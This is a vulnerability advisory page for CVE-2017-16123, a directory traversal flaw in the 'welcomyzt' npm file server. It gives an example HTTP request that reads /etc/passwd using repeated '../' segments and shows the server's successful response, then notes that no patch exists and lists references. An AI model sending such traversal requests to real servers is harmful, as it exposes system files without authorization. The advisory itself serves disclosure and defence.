CVE-2017-16123

Description

`welcomyzt` is a simple file server. `welcomyzt` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing `../` in the url. **Example request:** ```http GET /../../../../../../../../../../etc/passwd HTTP/1.1 host: localhost ``` and server Response: ```http HTTP/1.1 200 OK Date: Thu, 04 May 2017 23:59:18 GMT Connection: keep-alive Transfer-Encoding: chunked {contents of /etc/passwd} ``` ## Recommendation No patch is available for this vulnerability. It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

How to fix CVE-2017-16123

No fixed version has been published yet. Mitigate by removing the affected package or applying upstream guidance from the references below.

• —no fix listed

Is CVE-2017-16123 being exploited?

Low — EPSS is 0.6%, meaning exploitation activity has not been observed at scale.

Affected packages (1)

• >= 0.0.0

CVSS scores

References (3)

• ADVISORYnvd.nist.gov/vuln/detail/CVE-2017-16123
• WEBgithub.com/JacksonGL/NPM-Vuln-PoC/blob/master/directory-traversal/pooledwebsocket
• WEBwww.npmjs.com/advisories/388